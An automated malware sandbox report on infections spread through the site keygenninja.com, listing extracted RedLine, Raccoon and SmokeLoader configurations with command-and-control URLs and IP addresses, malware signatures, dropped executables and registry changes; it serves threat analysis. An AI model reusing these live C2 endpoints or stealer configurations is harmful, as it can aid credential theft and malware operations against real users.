Resubmissions
06-04-2021 11:43
210406-18x8bmedhj 1006-04-2021 11:32
210406-bxc8lqwa42 1006-04-2021 11:30
210406-k956bn6dnx 104-04-2021 22:04
210404-dyday37bve 10Analysis
-
max time kernel
69s -
max time network
304s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04-04-2021 22:04
Static task
static1
URLScan task
urlscan1
Sample
https://keygenninja.com/
Behavioral task
behavioral1
Sample
https://keygenninja.com/
Resource
win10v20201028
Behavioral task
behavioral2
Sample
https://keygenninja.com/
Resource
win10v20201028
Behavioral task
behavioral3
Sample
https://keygenninja.com/
Resource
win10v20201028
General
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
raccoon
4ce8ad65ffaa0dffa8cc56e03b4fd65c31c1a91d
-
url4cnc
https://telete.in/j90dadarobin
Extracted
metasploit
windows/single_exec
Extracted
redline
new1
rlmushahel.xyz:80
Extracted
redline
neisteri
194.147.142.46:19250
Extracted
redline
Kolokol
pokacienon.xyz:80
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
redline
BIRH
45.67.231.194:43386
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/4932-437-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral1/memory/4932-438-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral1/memory/4932-442-0x00000000024F0000-0x0000000002DFA000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
Processes:
resource yara_rule behavioral1/memory/7164-645-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral1/memory/4368-683-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral1/memory/4424-691-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral1/memory/8000-998-0x0000000004900000-0x0000000004934000-memory.dmp family_redline behavioral1/memory/8000-1000-0x0000000004980000-0x00000000049B2000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Taurus Stealer Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/6504-713-0x0000000000400000-0x000000000587C000-memory.dmp family_taurus_stealer -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/5816-568-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral1/memory/5816-570-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral1/memory/5816-576-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 13 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-2.exekeygen-step-3.exekeygen-step-4.exekey.exeSetup.exekey.exemultitimer.exesetups.exeaskinstall20.exesetups.tmp4BA0.tmp.exepid process 5500 keygen-pr.exe 5516 keygen-step-1.exe 4536 keygen-step-2.exe 4380 keygen-step-3.exe 5660 keygen-step-4.exe 5820 key.exe 4644 Setup.exe 4152 key.exe 4304 multitimer.exe 1608 setups.exe 4528 askinstall20.exe 2588 setups.tmp 5352 4BA0.tmp.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
setups.tmpdescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp -
Loads dropped DLL 7 IoCs
Processes:
setups.tmppid process 2588 setups.tmp 2588 setups.tmp 2588 setups.tmp 2588 setups.tmp 2588 setups.tmp 2588 setups.tmp 2588 setups.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
Processes:
askinstall20.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json askinstall20.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 503 ipinfo.io 284 ipinfo.io 286 ipinfo.io 374 ip-api.com 500 ipinfo.io -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
Full_Version.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum Full_Version.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 Full_Version.exe -
Program crash 15 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 5644 5172 WerFault.exe MicrosoftEdge.exe 7712 6652 WerFault.exe RunWW.exe 7308 6652 WerFault.exe RunWW.exe 5456 6652 WerFault.exe RunWW.exe 5160 6652 WerFault.exe RunWW.exe 308 6652 WerFault.exe RunWW.exe 5540 6652 WerFault.exe RunWW.exe 7236 6652 WerFault.exe RunWW.exe 7328 6652 WerFault.exe RunWW.exe 5372 6652 WerFault.exe RunWW.exe 6696 6652 WerFault.exe RunWW.exe 7588 6652 WerFault.exe RunWW.exe 4268 1132 WerFault.exe win1host.exe 7052 6652 WerFault.exe RunWW.exe 4748 6652 WerFault.exe RunWW.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
key.exedescription pid process target process PID 5820 set thread context of 4152 5820 key.exe key.exe -
Drops file in Windows directory 1 IoCs
Processes:
MicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 5944 timeout.exe 6924 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
Full_Version.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Full_Version.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer Full_Version.exe -
Kills process with taskkill 5 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4348 taskkill.exe 5356 taskkill.exe 5168 taskkill.exe 5272 taskkill.exe 2104 taskkill.exe -
Processes:
MicrosoftEdge.exevpn.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main vpn.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exebrowser_broker.exechrome.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000266e73af506c80e5e8dd5db153456874ceda502564b6af9a954fb9ff0300da28af7aaf6dbb66b8c3808e71e49a521828bd51c6fd3971049eafbe1e0f4ed25e6942a40123230a62f36e44144ffa277c378cc4768361d6c26717a7 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 6c3a3b6c55add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 browser_broker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{5317502C-B40E-4FA7-BE9A-E91A9AB6AB5E} = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe -
Processes:
keygen-step-2.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436